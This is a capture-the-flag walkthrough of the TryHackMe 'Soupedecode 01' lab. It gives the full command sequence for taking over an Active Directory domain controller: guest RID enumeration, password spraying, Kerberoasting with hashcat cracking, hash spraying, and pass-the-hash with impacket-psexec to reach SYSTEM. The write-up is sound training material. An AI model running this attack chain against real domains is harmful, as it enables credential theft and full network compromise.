[TryHackMe] walkthrough: Soupedecode 01 (Active Directory)

Info

Platform: Tryhackme
Machine Name: Soupedecode 01
Target IP/Host: 10.10.105.3
OS / Version: Windows (AD)
Difficulty / Category: Easy

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title

Overview

Soupedecode is an intense and engaging challenge in which players must compromise a domain controller by exploiting Kerberos authentication, navigating through SMB shares, performing password spraying, and utilizing Pass-the-Hash techniques. Prepare to test your skills and strategies in this multifaceted cyber security adventure.

Recon & Enumeration

First, scan IP with nmap.

┌──(kali㉿kali)-[~/thm/Soupedecode_01/recon]
└─$ sudo nmap 10.10.105.3 -n --min-rate 3000
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-30 18:37 KST
Nmap scan report for 10.10.105.3
Host is up (0.42s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds

It seems to be a domain controller.

I ran a more detailed scan with the -A flag.

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-30 06:32:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SOUPEDECODE
|   NetBIOS_Domain_Name: SOUPEDECODE
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: SOUPEDECODE.LOCAL
|   DNS_Computer_Name: DC01.SOUPEDECODE.LOCAL
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-30T06:33:29+00:00
|_ssl-date: 2025-09-30T06:34:08+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.SOUPEDECODE.LOCAL
| Not valid before: 2025-06-17T21:35:42
|_Not valid after:  2025-12-17T21:35:42
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-09-30T06:33:31
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s

Found the domain name and computer name.

domain name : SOUPEDECODE.LOCAL
computer name : DC01.SOUPEDECODE.LOCAL

Mapping this info in /etc/hosts: 10.10.105.3 SOUPEDECODE.LOCAL DC01.SOUPEDECODE.LOCAL

I tried smb null session, but failed.

So tried smb guest login, and succeeded.

The guest account had read permission to the IPC$ share, so I performed RID enumeration.

nxc smb 10.10.105.3 -u guest -p "" --rid | tee rid.txt

-> obtained a user list.

cat rid.txt | cut -d '\' -f2 | cut -d ' ' -f1 >> users.txt

Initial Access

(I restarted the machine, so ip has been changed)

I obtained a user list, and tried as-rep roasting (impacket-getNPUsers) but failed.
So I attempted a password spraying using username:username.

nxc smb 10.10.158.202 -u users.txt -p users.txt --no-brute --continue-on-success

I think this was the key part of the machine.

I found one credential: ybob317:ybob317

ybob317 can read the Users share.

smbclient -U ybob317 //10.10.158.202/Users

In the Desktop folder, there was user.txt

Privilege Escalation

With a domain user credential, I tried kerberoating.

Kerberoasting can be done with Impacket or nxc, I used nxc.

nxc ldap 10.10.158.202 -u ybob317 -p 'ybob317' -d SOUPEDECODE.LOCAL --kerberoasting spn_hash

I got hases in spn_hash, and craked them with hashcat.

hashcat -a 0 -m 13100 spn_hash /usr/share/wordlists/rockyou.txt

-> got file_svc's plain password, and file_svc can read backup share.

In backup share, found backup_extract.txt and it contains hashes.

First split the file into user and hash.

┌──(kali㉿kali)-[~/thm/Soupedecode_01/post]
└─$ cat backup_extract.txt | cut -d ':' -f1 > users.txt
└─$ cat backup_extract.txt | cut -d ':' -f4 > hashes.txt

I performed password spraying with nxc.

nxc smb 10.10.158.202 -u users.txt -H hashes.txt --no-brute --continue-on-success

FileServer$ was marked as pwn3d!

-> impacket-psexec

impacket-psexec 'FileServer$'@10.10.158.202 -hashes :e41da7e79a4c76dbd9cf79d1cb325559

I obtained system privileges and found root.txt in C:\Users\Administrator\Desktop.